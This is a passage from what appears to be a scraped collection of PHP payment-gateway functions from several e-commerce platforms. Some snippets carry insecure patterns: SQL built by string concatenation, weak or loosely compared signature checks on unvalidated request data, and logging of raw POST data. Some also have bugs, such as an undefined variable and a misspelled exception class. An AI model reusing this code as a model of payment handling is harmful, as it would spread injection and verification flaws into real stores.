$payment->getOrder()->getCustomerId();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t/*$select = $read->select()\n\t\t\t\t\t\t\t\t\t->from($moreccTable,array('morecc_id','email','number','profile_id','pay_id'))\n\t\t\t\t\t\t\t\t\t->where('email=?',$customerEmail) ;*/\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$select = \"Select * from \".$moreccTable.\" where cus_id='\".$customerId.\"' and pay_id = '\".$gatewayResponse['Status']['PaymentProfileID'].\"'\";\n\n\t\t\t\t\t\t\t$morecc = $read->fetchRow($select); \n\n\t\t\t\t\t\t\tif(!is_array($morecc))\n\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\t$customerProfileId = $gatewayResponse['Status']['CustomerProfileID'];\n\t\t\t\t\t\t\t\t$customerPayProfileId = $gatewayResponse['Status']['PaymentProfileID'];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$name = $billingAddress['firstname'] .' '. $billingAddress['lastname'] ; \n\t\t\t\t\t\t\t\t$ccNumber = $payment->getCcNumber();\n\t\t\t\t\t\t\t\t$cardType = $payment->getCcType();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$cardExprMonth = $payment->getCcExpMonth();\n\t\t\t\t\t\t\t\t$cardExprYear = $payment->getCcExpYear();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$newCard = \"XXXX-XXXX-XXXX-\" . substr($ccNumber,-4,4);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$model = Mage::getModel('morecc/morecc');\n\t\t\t\t\t\t\t\t$model->setCreatedTime(now());\n\t\t\t\t\t\t\t\t$model->setEmail($customerEmail);\n\t\t\t\t\t\t\t\t$model->setCusId($customerId);\n\t\t\t\t\t\t\t\t$model->setName($name);\n\t\t\t\t\t\t\t\t$model->setNumber($newCard);\n\t\t\t\t\t\t\t\t$model->setCardType($cardType);\n\t\t\t\t\t\t\t\t$model->setExprMonth($cardExprMonth);\n\t\t\t\t\t\t\t\t$model->setExprYear($cardExprYear);\n\t\t\t\t\t\t\t\t$model->setProfileId($customerProfileId);\n\t\t\t\t\t\t\t\t$model->setPayId($customerPayProfileId);\n\t\t\t\t\t\t\t\t$model->setShipId($gatewayResponse['Status']['shippingAddressId']);\n\t\t\t\t\t\t\t\t$model->save();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t/* Save customer \"payment profile id\" and \"cusotmer profile Id\" */\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tMage::throwException(\"Authorize.net Gateway Error : \" . $gatewayResponse['Status']['code'] . \": \" . $gatewayResponse['Status']['statusDescription']);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $this;\n\t\t}", "public function processPayment(Payment $payment): void\n {\n }", "public function webhook() {\n\n\t\t$this->log( 'Fire webhook' );\n\n\t\t/* \n\t\t * Received redirect from acquiring service with succesful order status\n\t\t */\n\t\tif( $_SERVER['REQUEST_METHOD'] == 'POST' and isset( $_POST['payment_id'] ) ) {\n\n\t\t\t$this->log( 'Received callback from acquiring service with order processing status' );\n\t\t\t$this->log( print_r($_POST, true ) );\n\n\t\t\t// Get payment UUID\n\t\t\t$paymentcode = isset( $_POST['payment_id'] ) ? $_POST['payment_id'] : null;\n\n\t\t\t// Get our Order ID returned through acquiring\n\t\t\t$order_id = isset ( $_POST['cf'] ) ? $_POST['cf'] : null;\n\n\t\t\t// Get Order status (ОК, КО, CANCEL, CHARGEBACK)\n\t\t\t$status = isset ( $_POST['status'] ) ? $_POST['status'] : null;\n\n\t\t\t// Get Order signature to verify payment validity\n\t\t\t$sign = isset ( $_POST['sign'] ) ? $_POST['sign'] : null;\n\t\t\t$sign_check = md5( $this->merchant_id . $paymentcode . $status . $order_id . $this->secret_word );\n\n\t\t\t$order = wc_get_order( $order_id );\n\n\t\t\t// Validate payment data\n\t\t\tif( $sign == $sign_check ) {\n\n\t\t\t\tswitch( $status ) {\n\t\t\t\t\tcase 'OK':\n\t\t\t\t\t\t// Payment succesful\n\n\t\t\t\t\t\t// Check if Order stay in our payment method\n\t\t\t\t\t\tif( $order->get_payment_method() == $this->id ) {\n\n\t\t\t\t\t\t\t// Link acquiring payment UUID with our Order\n\t\t\t\t\t\t\tif( strlen( $paymentcode ) ) {\n\t\t\t\t\t\t\t\tupdate_post_meta( $order_id, '_' . $this->id . '_paymentcode', $paymentcode );\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Set Order status to Processing\n\t\t\t\t\t\t\t$order->update_status('processing');\n\n\t\t\t\t\t\t\t$this->log( 'Payment processed sucesfully' );\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t// Wrong payment method\n\t\t\t\t\t\t\t$this->log( 'Wrong payment method' );\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'КО':\n\t\t\t\t\t// Do nothing. Keep order status as is\n\t\t\t\t\t\t$this->log( 'Payment not processed' );\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'CANCEL':\n\t\t\t\t\t\t// Do nothing. Keep order status as is\n\t\t\t\t\t\t$this->log( 'Payment cancelled by acquirer' );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Clear http output. \n\t\techo '0';\n\t\texit;\n \t}", "function testingPayment(){\n\t\treturn $this->getTestingPayment();\n\t}", "public function capture( \\IPS\\nexus\\Transaction $transaction )\n\t{\n\t\t$this->api( array(\n\t\t\t'x_type'\t\t\t=> 'PRIOR_AUTH_CAPTURE',\n\t\t\t'x_trans_id'\t\t=> $transaction->gw_id,\n\t\t) );\n\t}", "public function capture_payment( $order_id ) {\n\t\t\tif ( ! $this->_can_capture_order( $order_id ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif ( ! $this->_get_transaction_id( $order_id ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t$order = wc_get_order( $order_id );\n\n\t\t\t$captured = false;\n\t\t\tswitch ( version_compare( WC_VERSION, '3.0', '<' ) ? $order->payment_method : $order->get_payment_method() ) {\n\t\t\t\tcase 'paypal_pro':\n\t\t\t\t\t$captured = $this->_capture_payment_paypal_pro( $order );\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'paypal_pro_payflow':\n\t\t\t\t\t$captured = $this->_capture_payment_paypal_pro_payflow( $order );\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\treturn $captured;\n\t\t}", "private function isCapture()\n {\n return $this->openCart->config->get('payment_mundipagg_credit_card_operation') != 'Auth';\n }", "public function processPayment() {\n\t\t\tif ($this->order->authorizeTransaction()) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "protected function _capture_payment_paypal_pro_payflow_success( $order, $parsed_response ) {\n\t\t\t$order_id = version_compare( WC_VERSION, '3.0', '<' ) ? $order->id : $order->get_id();\n\n\t\t\t$order->add_order_note( sprintf( __( 'PayPal Pro (Payflow) delay charge complete (PNREF: %s)', 'woocommerce-gateway-paypal-pro' ), $parsed_response['PNREF'] ) );\n\n\t\t\tupdate_post_meta( $order_id, '_paypalpro_charge_captured', 'yes' );\n\n\t\t\t// update the transaction ID of the capture.\n\t\t\tupdate_post_meta( $order_id, '_transaction_id', $parsed_response['PNREF'] );\n\t\t}", "function init_process_payment() {\r\n global $woocommerce;\r\n\r\n\t if((isset($_GET['ng_netgiroSignature']) && $_GET['ng_netgiroSignature'])\r\n\t\t && $_GET['ng_orderid'] && $_GET['ng_transactionid'] ) {\r\n \r\n\t\tif ( function_exists( 'wc_get_order' ) ) {\r\n\t\t\t$order = wc_get_order( $_GET['ng_orderid'] );\r\n\t\t} else {\r\n\t\t\t$order = new WC_Order( $_GET['ng_orderid'] );\r\n\t\t} \r\n\t\t\r\n\t\t$str = $this->secretkey . $_GET['ng_orderid'];\r\n $hash = hash('sha256', $str);\r\n if($hash==$_GET['ng_signature']) {\r\n $order -> payment_complete();\r\n $order -> add_order_note('Netgíró greiðsla tókst<br/>Tilvísunarnúmer frá Netgíró: '.$_REQUEST['ng_invoiceNumber']); \r\n $woocommerce->cart->empty_cart();\r\n wp_redirect($this->get_return_url( $order ));\r\n exit;\r\n } else {\r\n // Set order status to failed\r\n $order -> update_status('failed');\r\n $order -> add_order_note('Netgiro payment failed. Woocommerce order id: ' . $_GET['ng_orderid'] . ' and Netgiro reference no.: ' . $_REQUEST['ng_invoiceNumber'] . ' does relate to signature: ' . $_GET['ng_signature']); \r\n\t\t \r\n\t\t wc_add_notice(\"Ekki tókst að staðfesta Netgíró greiðslu! Vinsamlega hafðu samband við verslun og athugað stöðuna á pöntun þinni nr. \" . $_GET['ng_orderid'], 'error');\r\n\t\t wp_redirect($this->get_return_url( $order ));\r\n\t\t exit;\r\n }\r\n }\r\n }", "public function transferPayment()\n {\n $stripe = new \\Stripe\\StripeClient(env('STRIPE_SECRET_KEY'));\n /*$stripe->accounts->create([\n 'type' => 'custom',\n 'country' => 'US',\n 'email' => '[email protected]',\n 'capabilities' => [\n 'card_payments' => ['requested' => true],\n 'transfers' => ['requested' => true],\n ],\n ]);*/\n /*$transfer = \\Stripe\\AccountLink::create([\n 'account' => 'acct_1IOcXgPGJtPprJfm',\n 'refresh_url' => 'https://example.com/reauth',\n 'return_url' => 'https://example.com/return',\n 'type' => 'account_onboarding',\n ]);*/\n $stripe->accounts->retrieve(\n 'acct_1IOcXgPGJtPprJfm',\n []\n );\n $stripe->accounts->retrieveCapability(\n 'acct_1GsXIYATE8vSaZpR',\n 'card_payments',\n []\n );\n\n dd($stripe->coreServiceFactory->services);\n }", "public function authorizePayment(array $data) {\n }", "public function onPayment()\n {\n $this->extend('onPayment');\n }", "public function processPaymentCaptureResponse(array $request)\n {\n $this->_request = $request;\n\n $purchaseId = $this->getRequestData('purchase_id');\n Mage::getSingleton('checkout/session')->setPurchaseId($purchaseId);\n\n if ($this->_verifyResponse($purchaseId)) {\n // Payment was successful, so update the order's state\n // and send order email and move to the success page\n Mage::getSingleton('checkout/session')->setPurchaseId($purchaseId);\n // Register the payment capture\n $this->_registerPaymentCapture();\n } else {\n throw new Exception('Sorry, but we could not process your payment at this time.');\n }\n }", "function complete($postcard_id = null){\n\t\t$paypal_config = array('Sandbox' => $this->sandbox);\n\t\t$paypal = new PayPal($paypal_config);\n\t\t\n\t\t#####[ CALL GET EXPRESS CHECKOUT DETAILS ]###########################\n\t\t\n\t\t#echo \"<pre>\";\n\t\t#print_r($_SESSION);\n\t\t#echo \"</pre>\";\n\t\t#exit;\n\t\t\n\t\t$GECDResult = $paypal -> GetExpressCheckoutDetails($this->session->userdata('Token'));\n\t\t$this->session->set_userdata('paypal_errors', $GECDResult['ERRORS']);\n\t\tif(strtolower($GECDResult['ACK']) != 'success' && strtolower($GECDResult['ACK']) != 'successwithwarning')\n\t\t{\n\t\t\tredirect('payment/error');\n\t\t\texit();\n\t\t}\n\t\t\n\t\t#####[ SET EXPRESS CHECKOUT ]#######################################\n\t\t\n\t\t// DoExpressCheckout\n\t\t$DECPFields = array(\n\t\t\t\t\t\t\t'token' => $this->session->userdata('Token'), \t\t\t\t\t\t\t\t// Required. A timestamped token, the value of which was returned by a previous SetExpressCheckout call.\n\t\t\t\t\t\t\t'paymentaction' => 'Sale', \t\t\t\t\t\t// Required. How you want to obtain payment. Values can be: Authorization, Order, Sale. Auth indiciates that the payment is a basic auth subject to settlement with Auth and Capture. Order indiciates that this payment is an order auth subject to settlement with Auth & Capture. Sale indiciates that this is a final sale for which you are requesting payment.\n\t\t\t\t\t\t\t'payerid' => isset($GECDResult['PAYERID']) ? $GECDResult['PAYERID'] : '', \t\t\t\t\t\t\t// Required. Unique PayPal customer id of the payer. Returned by GetExpressCheckoutDetails, or if you used SKIPDETAILS it's returned in the URL back to your RETURNURL.\n\t\t\t\t\t\t\t'payerid' => isset($GECDResult['PAYERID']) ? $GECDResult['PAYERID'] : '',\n\t\t\t\t\t\t\t'returnfmfdetails' => '1' \t\t\t\t\t// Flag to indiciate whether you want the results returned by Fraud Management Filters or not. 1 or 0.\n\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\n\t\t$PaymentDetails = array(\n\t\t\t\t\t\t\t\t'amt' => $this->session->userdata('amount'), \t\t\t\t\t\t\t// Required. Total amount of the order, including shipping, handling, and tax.\n\t\t\t\t\t\t\t\t'currencycode' => $this->session->userdata('currency'), \t\t\t\t\t// A three-character currency code. Default is USD.\n\t\t\t\t\t\t\t\t'itemamt' => '', \t\t\t\t\t\t// Required if you specify itemized L_AMT fields. Sum of cost of all items in this order. \n\t\t\t\t\t\t\t\t'shippingamt' => '', \t\t\t\t\t// Total shipping costs for this order. If you specify SHIPPINGAMT you mut also specify a value for ITEMAMT.\n\t\t\t\t\t\t\t\t'handlingamt' => '', \t\t\t\t\t// Total handling costs for this order. If you specify HANDLINGAMT you mut also specify a value for ITEMAMT.\n\t\t\t\t\t\t\t\t'taxamt' => '', \t\t\t\t\t\t// Required if you specify itemized L_TAXAMT fields. Sum of all tax items in this order. \n\t\t\t\t\t\t\t\t'desc' => 'Epic Thanks, 501(c)(3) Epic Change', \t\t\t\t\t\t\t// Description of items on the order. 127 char max.\n\t\t\t\t\t\t\t\t'custom' => $this->session->userdata('postcard_id'), \t\t\t\t\t\t// Free-form field for your own use. 256 char max.\n\t\t\t\t\t\t\t\t'invnum' => $this->session->userdata('invoice'), \t\t\t\t\t\t// Your own invoice or tracking number. 127 char max.\n\t\t\t\t\t\t\t\t//'notifyurl' => site_url() .\"/payment/ipn\" \t\t\t\t\t\t// URL for receiving Instant Payment Notifications\n\t\t\t\t\t\t\t\t);\n\t\t\n\t\t$OrderItems = array();\n\t\t\n\t\t$Item\t\t = array(\n\t\t\t\t\t\t'l_name' => $this->session->userdata('item_name'), \t\t\t\t\t\t// Item name. 127 char max.\n\t\t\t\t\t\t'l_amt' => $this->session->userdata('amount'), \t\t\t\t\t\t// Cost of item.\n\t\t\t\t\t\t'l_number' => $this->session->userdata('postcard_id'), \t\t\t\t\t\t// Item number. 127 char max.\n\t\t\t\t\t\t'l_qty' => '1' \t\t\t\t\t\t// Item qty on order. Any positive integer.\n\t\t\t\t\t\t);\n\t\t\t\t\t\t\n\t\tarray_push($OrderItems, $Item);\n\t\t\n\t\t$DECPData = array(\n\t\t\t\t\t\t 'DECPFields' => $DECPFields, \n\t\t\t\t\t\t 'PaymentDetails' => $PaymentDetails,\n\t\t\t\t\t\t 'OrderItems' => $OrderItems\n\t\t\t\t\t\t );\n\t\t\n\t\t#####[ CALL DO EXPRESS CHECKOUT PAYMENT ]#############################\n\t\t\n\t\t$DECPResult = $paypal -> DoExpressCheckoutPayment($DECPData);\n\t\t$this->session->set_userdata('paypal_errors', $DECPResult['ERRORS']);\n\t\t\n\t\t#####[ REDIRECT DEPENDING ON RESPONSE ]###############################\n\t\t\n\t\tif(strtolower($DECPResult['ACK']) != 'success' && strtolower($DECPResult['ACK']) != 'successwithwarning')\n\t\t{\n\t\t\tredirect('payment/error?type=2');\n\t\t\texit();\n\t\t}\n\t\t\n\t\t/*\n\t\t$_SESSION['PayerEmailAddress'] = isset($GECDResult['EMAIL']) ? $GECDResult['EMAIL'] : '';\n\t\t$_SESSION['FirstName'] = isset($GECDResult['FIRSTNAME']) ? $GECDResult['FIRSTNAME'] : '';\n\t\t$_SESSION['LastName'] = isset($GECDResult['LASTNAME']) ? $GECDResult['LASTNAME'] : '';\n\t\t$_SESSION['Street'] = isset($GECDResult['SHIPTOSTREET']) ? $GECDResult['SHIPTOSTREET'] : '';\n\t\t$_SESSION['City'] = isset($GECDResult['SHIPTOCITY']) ? $GECDResult['SHIPTOCITY'] : '';\n\t\t$_SESSION['State'] = isset($GECDResult['SHIPTOSTATE']) ? $GECDResult['SHIPTOSTATE'] : '';\n\t\t$_SESSION['Zip'] = isset($GECDResult['SHIPTOZIP']) ? $GECDResult['SHIPTOZIP'] : '';\n\t\t$_SESSION['Country'] = isset($GECDResult['SHIPTOCOUNTRYNAME']) ? $GECDResult['SHIPTOCOUNTRYNAME'] : '';\n\t\t$_SESSION['transaction_id'] = isset($DECPResult['TRANSACTIONID']) ? $DECPResult['TRANSACTIONID'] : '';\n\t\t$_SESSION['CustomerNotes'] = isset($DECPResult['NOTE']) ? $DECPResult['NOTE'] : '';\n\t\t$_SESSION['PaymentStatus'] = isset($DECPResult['PAYMENTSTATUS']) ? $DECPResult['PAYMENTSTATUS'] : '';\n\t\t$_SESSION['PendingReason'] = isset($DECPResult['PENDINGREASON']) ? $DECPResult['PENDINGREASON'] : '';\n\t\t$_SESSION['payment_type'] = isset($DECPResult['PAYMENTTYPE']) ? $DECPResult['PAYMENTTYPE'] : '';\n\t\t\n\t\t*/\n\t\t\n\t\t#echo \"<pre>\";\n\t\t#print_r($_SESSION);\n\t\t#echo \"</pre>\";\n\t\t#exit;\n\t\t\n\t\t// Everything went fine, so redirect to completed page.\n\t\t$type = $this->session->userdata('payment_source');\n\t\t$d = new Donations();\n\t\t$d->donation_amount = $this->session->userdata('amount');\n\t\t$d->type = $type;\n\t\t$d->save();\n\t\t$session_data = array(\n\t\t\t\t\t\t\t\t'donor_name' => $GECDResult['FIRSTNAME'] . ' ' . $GECDResult['LASTNAME'],\n\t\t\t\t\t\t\t\t'donation_id' => $d->donation_id\n\t\t\t\t\t\t\t);\n\t\t$this->session->set_userdata($session_data);\n\t\t\n\t\tif( $type == 'postcard'){\n\t\t\t$r = new PostDonationRel();\n\t\t\t$r->post_id = $postcard_id;\n\t\t\t$r->donation_id = $d->donation_id;\n\t\t\t$r->save();\n\t\t\tif($this->session->userdata('amount') >= PARADE_CUTOFF){\n\t\t\t\t$g = new GratitudeParade();\n\t\t\t\t$g->donation_id = $d->donation_id;\n\t\t\t\t$g->name = Users::user()->username;\n\t\t\t\t$g->image_url = Users::user()->profile_avatar;\n\t\t\t\t$g->url = 'http://www.' . Users::user()->oauth_provider . '.com/' . Users::user()->username;\n\t\t\t\t$g->save();\n\t\t\t\t$this->session->set_flashdata('added_to_parade', true);\n\t\t\t}\n\t\t\t$this->session->set_flashdata('added_to_parade', false);\n\t\t\tredirect('postcard/send/' . $postcard_id . '/'. md5($postcard_id));\n\t\t}\n\t\telse \n\t\t\tredirect('payment/thankyou');\n\t}", "public function savePaymentAction()\n {\n parent::savePaymentAction();\n if ($this->_isActive()) {\n $result = Mage::helper('core')->jsonDecode(\n $this->getResponse()->getBody()\n );\n\n $this->_addHashInfo($result);\n $this->getResponse()->setBody(\n Mage::helper('core')->jsonEncode($result)\n );\n }\n }", "public function makePayment() {\n\t\tLoggerRegistry::debug('CustomerModule::makePayment()');\n\t\t// TODO Payment gateway integration\n\t}", "public function hookPayment($params)\n\t{\n\t\t/* If 1.4 and no backward then leave */\n\t\tif (!$this->backward)\n\t\t\treturn;\n\n\t\n\t\t\t/* Retrieve the most recent customer's credit card */\n\t\t\t$customer_credit_card = Db::getInstance()->getValue('SELECT cc_last_digits FROM '._DB_PREFIX_.'stripepro_customer WHERE id_customer = '.(int)$this->context->cookie->id_customer);\n\t\t\tif ($customer_credit_card)\n\t\t\t\t$this->smarty->assign('stripe_credit_card', (int)$customer_credit_card);\n\t\t\n\t\t/* If the address check has been enabled by the merchant, we will transmitt the billing address to Stripe */\n\t\tif (isset($this->context->cart->id_address_invoice))\n\t\t{\n\t\t\t$billing_address = new Address((int)$this->context->cart->id_address_invoice);\n\t\t\tif ($billing_address->id_state)\n\t\t\t{\n\t\t\t\t$state = new State((int)$billing_address->id_state);\n\t\t\t\tif (Validate::isLoadedObject($state))\n\t\t\t\t\t$billing_address->state = $state->iso_code;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (!empty($this->context->cookie->stripe_error)) {\n\t\t\t$this->smarty->assign('stripe_error', $this->context->cookie->stripe_error);\n\t\t\t$this->context->cookie->__set('stripe_error', null);\n\t\t}\n\n\t\t$this->smarty->assign('validation_url', (Configuration::get('PS_SSL_ENABLED') ? 'https' : 'http').'://'.$_SERVER['HTTP_HOST'].__PS_BASE_URI__.'index.php?process=validation&fc=module&module=stripepro&controller=default');\n\n\n\t\t$this->smarty->assign(array(\n\t\t 'stripe_cc' => $this->_path.\"views/img/stripe-cc.png\",\n\t\t 'stripe_btc' => $this->_path.\"views/img/stripe-btc.png\",\n\t\t 'stripe_ps_version' => _PS_VERSION_,\n\t\t 'stripe_allow_btc' => Configuration::get('STRIPE_ALLOW_BTC'),\n\t\t 'stripe_pk' => (Configuration::get('STRIPE_MODE')?Configuration::get('STRIPE_PUBLIC_KEY_LIVE'):Configuration::get('STRIPE_PUBLIC_KEY_TEST')),\n\t\t 'stripe_save_tokens_ask' => Configuration::get('STRIPE_SAVE_TOKENS_ASK'),\n\t\t 'cu_email' => $this->context->customer->email,\n\t\t 'currency' => $this->context->currency->iso_code,\n\t\t 'shop_name' => Configuration::get('PS_SHOP_NAME'),\n\t\t 'cart_total' => $this->context->cart->getOrderTotal() * 100,\n\t\t 'logo_url' => (Configuration::get('PS_SSL_ENABLED') ? 'https' : 'http').'://'.$_SERVER['HTTP_HOST'].__PS_BASE_URI__.'img/'.Configuration::get('PS_LOGO')));\n\t\t\n\t\treturn $this->display(__FILE__, './views/templates/hook/payment.tpl');\n\n\t}", "public function capture(Varien_Object $payment, $amount)\n {\n parent::capture($payment, $amount);\n\n /* @var Mage_Sales_Model_Order_Invoice $invoice */\n $invoice = Mage::registry('postfinancecheckout_payment_capture_invoice');\n\n if ($invoice->getPostfinancecheckoutCapturePending()) {\n Mage::throwException(\n $this->getHelper()->__(\n 'The capture has already been requested but could not be completed yet. The invoice will be updated, as soon as the capture is done.'));\n }\n\n /* @var PostFinanceCheckout_Payment_Model_Service_Transaction $transactionService */\n $transactionService = Mage::getSingleton('postfinancecheckout_payment/service_transaction');\n try {\n $transaction = $transactionService->getTransaction(\n $payment->getOrder()\n ->getPostfinancecheckoutSpaceId(),\n $payment->getOrder()\n ->getPostfinancecheckoutTransactionId());\n if (! ($transaction instanceof \\PostFinanceCheckout\\Sdk\\Model\\Transaction)) {\n Mage::throwException($this->getHelper()->__('The transaction linked to the order could not be loaded.'));\n }\n } catch (Exception $e) {\n Mage::throwException($this->getHelper()->__('The transaction linked to the order could not be loaded.'));\n }\n\n if ($transaction->getState() == TransactionState::AUTHORIZED) {\n if ($invoice->getId()) {\n $this->complete($payment, $invoice, $amount);\n } else {\n $invoice->setPostfinancecheckoutPaymentNeedsCapture(true);\n }\n } else {\n Mage::throwException($this->getHelper()->__('The invoice cannot be captured manually.'));\n }\n\n return $this;\n }", "function hid() {\n // we don't need to set StoreCard to true if the card hasn't expired and also\n // we need to set the HPP to use the stored card instead of asking for a new one and\n // we probably just go ahead and charge the stored card, and only use HPP if the stored card\n // fails and we mark the stored card inactive or delete it on failure and just go with the new one on the transaction\n // results\n\n $StoreCard = (isset($_REQUEST['StoreCard']) && $_REQUEST['StoreCard'] == 'true') ? true : false;\n\n $invoiceId = $_REQUEST['id'];\n\n $this->load->library('protectpayapi');\n\n $invoice = Invoice::find($invoiceId);\n\n $applicationEnv = ENVIRONMENT;\n\n\n $parsedAccountUrlPrefix = $_SESSION['accountUrlPrefix'];\n\n $databaseName = $parsedAccountUrlPrefix . '_' . ENVIRONMENT;\n\n /** @var CI_DB_mysql_driver $primaryDatabase */\n $primaryDatabase = $this->load->database('primary', TRUE);\n\n $params = [\n 'primaryDatabase' => $primaryDatabase,\n ];\n $this->load->library('account', $params);\n\n $params = [\n 'databaseName' => $databaseName,\n 'primaryDatabase' => $primaryDatabase];\n\n $this->load->library('propay_api', $params);\n\n $invoiceUser = InvoiceHasUser::find('all',array('conditions' => array('invoice_id=?',$invoiceId)));\n if (count($invoiceUser) > 0) {\n $user = User::find($invoiceUser[0]->user_id);\n $signedUp = $this->propay_api->isSignedUp($parsedAccountUrlPrefix, $user->username);\n\t $merchantProfileId = ($this->account->isInvoiceCryptoPayment($invoiceId, $parsedAccountUrlPrefix, $user->username) != false) ? PROTECT_PAY_MERCHANT_PROFILE_ID : $signedUp->ProfileId;\n } else {\n $signedUp = $this->propay_api->isSignedUp($parsedAccountUrlPrefix, $parsedAccountUrlPrefix);\n\t $merchantProfileId = ($this->account->isInvoiceCryptoPayment($invoiceId, $parsedAccountUrlPrefix) != false) ? PROTECT_PAY_MERCHANT_PROFILE_ID : $signedUp->ProfileId;\n }\n\n $data = [\n \"Amount\" => (int) ($invoice->outstanding * 100), //convert to cents\n \"AuthOnly\" => false,\n \"AvsRequirementType\" => 3,\n \"CardHolderNameRequirementType\" => 2,\n \"CssUrl\" => \"https://spera-\" . $applicationEnv . \".s3-us-west-2.amazonaws.com/pmi.css\",\n \"CurrencyCode\" => \"USD\",\n \"InvoiceNumber\" => $invoiceId,\n \"MerchantProfileId\" => $merchantProfileId,\n \"OnlyStoreCardOnSuccessfulProcess\" => $StoreCard,\n \"PayerAccountId\" => PROTECT_PAY_PAYER_ACCOUNT_ID,\n \"ProcessCard\" => true,\n \"Protected\" => false,\n \"SecurityCodeRequirementType\" => 1,\n \"StoreCard\" => $StoreCard,\n ];\n\n if ($_REQUEST['paymentType'] == 'card') {\n $data[\"PaymentTypeId\"] = \"0\";\n } else if ($_REQUEST['paymentType'] == 'ach') {\n $data[\"PaymentTypeId\"] = \"1\";\n }\n\n $result = $this->protectpayapi\n ->setApiBaseUrl(PROTECT_PAY_API_BASE_URL)\n ->setBillerId(PROTECT_PAY_BILLER_ID)\n ->setAuthToken(PROTECT_PAY_AUTH_TOKEN)\n ->setHostedTransactionData($data)\n ->createHostedTransaction()\n ->getCreatedHostedTransactionInfo();\n $responseObject = json_decode($result);\n\n if ( $responseObject ) {\n $_SESSION['paymentType'] = $_REQUEST['paymentType'];\n $_SESSION['HostedTransactionIdentifier'] = $responseObject->HostedTransactionIdentifier;\n\t $_SESSION['merchantProfileId'] = $merchantProfileId;\n }\n header('Content-Type: application/json');\n echo json_encode([\n 'response'=>$responseObject,\n 'success' => true,\n 'message' => 'Hosted Transaction Identifier Created Successfully.',\n 'HostedTransactionIdentifier' => $_SESSION['HostedTransactionIdentifier']\n ]);\n\n die();\n }", "public function notifyPayment()\n {\n }", "public function capture(Varien_Object $payment, $amount)\n {\n try\n {\n $customerId = $payment->getOrder()->getCustomerId();\n if (!$customerId)\n {\n $customerId = Mage::getSingleton('customer/session')->getCustomer()->getId();\n }\n\n $totalCredit = (float) Mage::helper('i95devconnect_creditlimits')->getTotalCredit($customerId);\n\n\n if ($totalCredit < $amount)\n {\n Mage::throwException(Mage::helper('i95devconnect_creditlimits')->__('No sufficient credit balance. Please Check credit balance and try again. Thanks'));\n }\n\n $transactionId = $payment->getOrder()->getIncrementId();\n if ($capture <= 0)\n {\n $payment->setStatus(self::STATUS_APPROVED)\n ->setLastTransId($this->getTransactionId());\n }\n }\n catch (Excepion $ex)\n {\n echo $ex->getMessage();\n Mage::helper('I95DevConnect_Base')->i95devLog(__METHOD__, $ex->getMessage(), \"i95devException\");\n }\n return $this;\n }", "public function payAction()\n\t{\n\t\t$paylanedirectdebit = Mage::getSingleton(\"paylanedirectdebit/standard\");\n\t\t$data = $paylanedirectdebit->getPaymentData();\n\t\t\n\t\tif (is_null($data))\n\t\t{\n\t\t\tMage::app()->getFrontController()->getResponse()->setRedirect(Mage::getUrl(\"/\"));\n\t\t}\n\t\t\n\t\techo \"Your payment is being processed...\";\n\t\t\n\t\t// connect to PayLane Direct System\t\t\n\t\t$paylane_client = new PayLaneClient();\n\t\t\n\t\t// get login and password from store config\n\t\t$direct_login = Mage::getStoreConfig('payment/paylanedirectdebit/direct_login');\n\t\t$direct_password = Mage::getStoreConfig('payment/paylanedirectdebit/direct_password');\n\t\t\n\t\t$status = $paylane_client->connect($direct_login, $direct_password);\n\t\tif ($status == false)\n\t\t{\n\t\t\t// an error message\n\t \t$paylanedirectdebit->addComment(\"Error processing your payment... Please try again later.\", true);\n\n\t \t$this->_redirect('checkout/onepage/failure');\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$result = $paylane_client->multiSale($data);\n\t\tif ($result == false)\n\t\t{\n\n\t\t\t// an error message\n\t \t$paylanedirectdebit->addComment(\"Error processing your payment... Please try again later.\", true);\n\t\n\t \t$this->_redirect('checkout/onepage/failure');\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif (isset($result->ERROR))\n\t\t{\n\t\t\t// an error message\n\t \t$paylanedirectdebit->addComment($result->ERROR->error_description, true);\n\t\n\t \t$this->_redirect('checkout/onepage/failure');\n\t \treturn;\n\t\t}\n\t\t\n\t\tif (isset($result->OK))\n\t\t{\n\t\t\t$paylanedirectdebit->setPendingStatus($result->OK->id_sale);\n\t\n\t \tsession_write_close(); \n\t \t$this->_redirect('checkout/onepage/success');\n\t \treturn;\n\t\t}\n\t}", "protected function _registerRecurringProfilePaymentCapture()\r\n {\r\n $price = $this->_price;\r\n $tax = $this->_taxAmount;\r\n $shipping = $this->_shippingAmount;\r\n $grandTotal = $this->_amount;\r\n $periodType = $this->_periodType;\r\n $transactionId = $this->_txdId;\r\n $ewayMessage = '';\r\n\r\n $productItemInfo = new Varien_Object;\r\n /** @todo: response doesn't contain period type / payment type */\r\n $productItemInfo->setPaymentType($periodType);\r\n $productItemInfo->setTaxAmount($tax);\r\n $productItemInfo->setShippingAmount($shipping);\r\n $productItemInfo->setPrice($price);\r\n\r\n\r\n /** @var Mage_Sales_Model_Recurring_Profile $recurringProfile */\r\n 